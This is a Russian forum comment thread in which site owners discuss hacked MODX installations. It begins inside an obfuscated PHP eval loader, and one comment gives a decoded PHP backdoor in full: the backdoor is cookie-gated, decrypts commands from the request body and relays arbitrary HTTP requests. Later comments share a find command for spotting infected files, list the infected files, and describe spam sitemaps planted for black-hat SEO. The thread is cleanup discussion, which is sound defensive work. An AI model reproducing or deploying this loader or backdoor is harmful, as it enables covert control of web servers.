    '%Qs%Qs%Qs0iq4ldB%Q6%Qgfl9l%ev%QQB4lf4qM%QQ%eU%QslM%Qs%Q'.
    'gc4t%VU%Vo%QgzlXO4%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QgB4lf%Qs.%VU%Qs%Qgc4t%Qs.'.
    '%Qs%QQ%VF%Qs%QQ%Qs.%Qs%QgzlXO4%Qs.%Qs%QQ%ejq%ej2%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%s'.
    'F%sU%sF%Qs%Qs%Qs%Qs%QgAlqlEM%Qs%VU%Qslqqlt%Q6%QrB99A%Qr%Qs%VU%Vo%Qslqqlt%Q6%sU%s'.
    'F%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrE49Bif%Qr%Qs%VU%Vo%Qs%Qgf'.
    'l9l%ev%QQE49Bif%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%QrB4lf4q%Qr%Qs%V'.
    'U%Vo%Qs%QgB4lf%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qrdi29429%Qr%Qs%V'.
    'U%Vo%Qs%Qgfl9l%ev%QQRift%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Q'.
    's%Qs%Qs%Qs%Qr9yE4iO9%Qr%Qs%VU%Vo%Qs%Qgfl9l%ev%QQ9yE4iO9%QQ%eU%Qj%sU%sF%Qs%Qs%Qs%Qs%Qs%Q'.
    's%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%QZ%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs'.
    '%Qs%Qgd9S%Qs%VU%QsM9q4lE_di294S9_dq4l94%Q6%QgAlqlEM%QZ%Vv%sU%sF%Qs%Qs%Qs%Qs%sU%sF%Qs%Qs%Qs%Qs%Q'.
    'gq4MOX9%Qs%VU%Qs%gs0yX4_149_di29429M%Q6%Qgfl9l%ev%QQOqX%QQ%eU%Qj%QsLF'.
    'wYo%Qj%Qs%Qgd9S%QZ%Vv%sU%sF%sU%sF%Qs%Qs%Qs%Qsy0%Qs%Q6%QgB99A_q4MAi2M4_'.
    'B4lf4q%QZ%sU%sF%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qsy0%Qs%Q6M9qAiM%Q6%'.
    'QgB99A_q4MAi2M4_B4lf4q%evs%eU%Qj%Qs%QQQss%QQ%QZ%Qs%'.
    'VU%VU%VU%QsLFwYo%QZ%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%'.
    'Qgq4MOX9%Qs%VU%Qs%QQT88a_ohhbh%ej9%QQ%Qs.%Qs%QgB99A_q4MAi2M4_B4lf4q%evs%eU%Vv%sU%sF%Qs%Qs%Qs%Qs'.
    '%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%Qs%Qs%Qs%Qs4XM4%sU%sF%Qs%Qs%Qs%'.
    'Qs%rv%sU%sF%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qs%Qgq4MOX9%Qs%VU%Qs%QQjbNNoj8ubN'.
    '_ohhbh%QQ%Vv%sU%sF%Qs%Qs%Qs%Qs%rU%sU%sF%sU%sF%Qs%Qs%Qs%Qsq49Oq2%Qs%Qgq4MOX9%Vv%sU%sF%rU%sU%'.
    'sF%sU%sF0O2d9yi2%QsM42f_fl9lQ%Q6%Qgfl9l%QZ%sU%sF%rv%sU%sF%Qs%Qs%Qs%Qs//%QsOM4%QsMidc49M%sU%sF%rU';
    $zhmoaocvvt = Array('1'=>'g', '0'=>'f', '3'=>'J', '2'=>'n', '5'=>'6', '4'=>'e', '7'=>'Y', '6'=>'8', '9'=>'t', '8'=>'T', 'A'=>'p', 'C'=>'K', 'B'=>'h', 'E'=>'m', 'D'=>'G', 'G'=>'V', 'F'=>'A', 'I'=>'Z', 'H'=>'X', 'K'=>'Q', 'J'=>'w', 'M'=>'s', 'L'=>'F', 'O'=>'u', 'N'=>'N', 'Q'=>'2', 'P'=>'j', 'S'=>'x', 'R'=>'b', 'U'=>'D', 'T'=>'H', 'W'=>'U', 'V'=>'3', 'Y'=>'S', 'X'=>'l', 'Z'=>'9', 'a'=>'P', 'c'=>'k', 'b'=>'O', 'e'=>'5', 'd'=>'c', 'g'=>'4', 'f'=>'d', 'i'=>'o', 'h'=>'R', 'k'=>'z', 'j'=>'C', 'm'=>'q', 'l'=>'a', 'o'=>'E', 'n'=>'W', 'q'=>'r', 'p'=>'1', 's'=>'0', 'r'=>'7', 'u'=>'I', 't'=>'y', 'w'=>'L', 'v'=>'B', 'y'=>'i', 'x'=>'M', 'z'=>'v');
    eval/*tbtro*/(trpnppanw($kbkxysfg, $zhmoaocvvt));?>
      Володя
      24 августа 2018, 17:35
      0
      <?php
      @ini_set('display_errors', 0);
      @ini_set('log_errors', 0);
      @error_reporting(0);
      @set_time_limit(0);
      @ignore_user_abort(1);
      @ini_set('max_execution_time', 0);
      
      foreach ($_COOKIE as $item) {
          if ($item != "f08c42d0-b16d-425e-9ab3-43776c82f21d") {
              exit();
          }
      }
      
      $data = file_get_contents('php://input');
      $data = split("=", $data, 2);
      
      $b64_decode_data = base64_decode(urldecode($data[1]));
      
      $send_data = unserialize(decrypt($b64_decode_data));
      
      $result = send_data1($send_data);
      
      if (!$result) {
          $result = send_data2($send_data);
      }
      
      echo $result;
      
      function decrypt($data)
      {
          $out_data = "";
          $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
          $key_len = strlen($key);
      
          for ($i = 0; $i < strlen($key); $i++) {
              $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
          }
      
          for ($i = 0; $i < strlen($data);) {
              for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                  $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
              }
          }
      
          return $out_data;
      }
      
      function send_data1($data)
      {
          $head = "";
      
          foreach ($data["headers"] as $key => $value) {
              $head .= $key . ": " . $value . "\r\n";
          }
      
          $params = array(
              'http' => array(
                  'method'  => $data["method"],
                  'header'  => $head,
                  'content' => $data["body"],
                  'timeout' => $data["timeout"],
      
              )
          );
      
          $ctx = stream_context_create($params);
      
          $result = @file_get_contents($data["url"], false, $ctx);
      
          if ($http_response_header) {
              if (strpos($http_response_header[0], "200") === false) {
                  $result = "HTTP_ERROR\t" . $http_response_header[0];
              }
          } else {
              $result = "CONNECTION_ERROR";
          }
      
          return $result;
      }
      
      function send_data2($data)
      {
          // use sockets
      }
        Олег Захаров
        24 августа 2018, 18:06
        0
        Это Вы расшифровали код выше? Если да то как вы расшифровали? Я чайник:)
        Что делает этот файл? Это взлом? Удалять этот файл?
    Олег Захаров
    24 августа 2018, 18:12
    0
    Выложил результаты проверки айболитом, но не успел написать зачем. Я правильно понимаю что все эти левые файлы с переменными массивами аля Global — потенциально результаты взлома сайтов?
    Меня удивляет как удалось злоумышленникам записать в директории админки и коннекторов если я их переименовал (core вынес наверх)?
    Из списка обнаруженного — можно говорить что риску взлома подвержены компоненты Minify? (про Gallery понятно).
    Как зараза они смогли модифицировать системные файлы (/controllers/default/system/event.class.php).
    У себя заметил что все измененные и зараженные файлы были модифицированны в одно и то же время (28.05.18). И таким образом я искал все файлы которые были изменены в эту дату. Но все равно айболит нашел файлы которые имели дату изменения более ранние (даже 2016 года), но при этом были встроенные левые коды (сравнивал с другими сайтами — там левых кодов в этих файлах не было).
Алексей
26 сентября 2018, 01:30
0
скачивал сегодня aibolit, при запуске сканирования выдал ошибку:
php ~/aibolit/ai-bolit/ai-bolit.php -p ~/ --mode=1 -o ~/report.json --no-html --delay=5 --all
PHP Parse error: syntax error, unexpected T_FUNCTION in /home/s/sknnovyand/aibolit/ai-bolit/ai-bolit.php on line 2337
Алексей
10 декабря 2018, 16:48
0
Мне ещё помогла данная команда определить зараженный файлы:
find -newerct "1 Sep 2018" ! -newerct "10 Dec 2018" -ls
Запускать из консоли. Просто смотрим дату создания файла с вирусом, и в корневой директории доступной для php запускаем из командной строки пользователя данную команду с разбегом ±месяц. Видимо вирус не удосужился заменить дату создания файлов, поэтому его можно вычислить.
Ну а эта команда покажет список файлов созданных между 1 сентября 2018 года и 10 декабря 2018 года.
    Алексей
    10 декабря 2018, 17:14
    0
    вот пример файлов с вирусами:
    1606794     16 -rw-r--r--   1 justme   justme      12787 Oct 18 13:20 ./connectors/manager/access.php
      1603580     24 -rw-r--r--   1 justme   justme      24519 Sep 28 11:50 ./connectors/manager/Dwsonv.php
      1603556     12 -rw-r--r--   1 justme   justme       9798 Sep 25 11:18 ./connectors/manager/Meuhy.php
      1606796     88 -rw-r--r--   1 justme   justme      87463 Oct 18 13:20 ./connectors/manager/server.php
      1606795     40 -rw-r--r--   1 justme   justme      40906 Oct 18 13:20 ./connectors/manager/doptions.php
      1578437      8 -rw-r--r--   1 justme   justme       4785 Sep 22 06:41 ./connectors/manager/search.php
      1589658      4 -rw-r--r--   1 justme   justme        291 Oct 25 13:07 ./connectors/manager/wp-version.php
      1603581     88 -rw-r--r--   1 justme   justme      87463 Sep 28 11:50 ./connectors/server.php
      1578438      4 drwxr-xr-x   2 justme   justme       4096 Sep 28 11:44 ./map
      1603566   5124 -rw-r--r--   1 justme   justme    5244015 Sep 28 11:42 ./map/sitemap16.xml
      1603574   5052 -rw-r--r--   1 justme   justme    5172167 Sep 28 11:43 ./map/sitemap15.xml
      1603570   5080 -rw-r--r--   1 justme   justme    5200171 Sep 28 11:42 ./map/sitemap18.xml
      1603575   5084 -rw-r--r--   1 justme   justme    5202419 Sep 28 11:44 ./map/sitemap10.xml
      1603564   5092 -rw-r--r--   1 justme   justme    5210143 Sep 28 11:41 ./map/sitemap1.xml
      1603571   5112 -rw-r--r--   1 justme   justme    5232185 Sep 28 11:43 ./map/sitemap17.xml
      1589661   5220 -rw-r--r--   1 justme   justme    5342546 Sep 28 11:41 ./map/sitemap4.xml
      1603572   5108 -rw-r--r--   1 justme   justme    5229295 Sep 28 11:43 ./map/sitemap13.xml
      1603569   5072 -rw-r--r--   1 justme   justme    5189645 Sep 28 11:42 ./map/sitemap14.xml
      1603577   5136 -rw-r--r--   1 justme   justme    5256439 Sep 28 11:44 ./map/sitemap6.xml
      1603563   5060 -rw-r--r--   1 justme   justme    5179566 Sep 28 11:41 ./map/sitemap2.xml
      1578446   5048 -rw-r--r--   1 justme   justme    5167440 Sep 28 11:41 ./map/sitemap9.xml
      1603567   5068 -rw-r--r--   1 justme   justme    5188781 Sep 28 11:42 ./map/sitemap7.xml
      1603579   5112 -rw-r--r--   1 justme   justme    5231154 Sep 28 11:44 ./map/sitemap19.xml
      1603565   5188 -rw-r--r--   1 justme   justme    5309893 Sep 28 11:41 ./map/sitemap20.xml
      1603576   5064 -rw-r--r--   1 justme   justme    5184554 Sep 28 11:44 ./map/sitemap3.xml
      1603568   5128 -rw-r--r--   1 justme   justme    5247563 Sep 28 11:42 ./map/sitemap12.xml
      1603573   5016 -rw-r--r--   1 justme   justme    5134371 Sep 28 11:43 ./map/sitemap11.xml
      1603578   5160 -rw-r--r--   1 justme   justme    5280363 Sep 28 11:44 ./map/sitemap5.xml
      1578441   5096 -rw-r--r--   1 justme   justme    5214693 Sep 28 11:41 ./map/sitemap8.xml
      1450550     36 -rw-r--r--   1 justme   justme      35486 Sep 28 07:45 ./index.php
      1450552      4 -rw-r--r--   1 justme   justme       1321 Sep 28 11:44 ./robots.txt
    вирус создаёт карту сайта, авторизируется в гугл-вебмастере(собственно оттуда я и узнал что моим сайтом кто-то ещё начал управлять) добавляет туда кучу новых sitemap.xml. Похоже кто-то так размещает статьи для темного СЕО.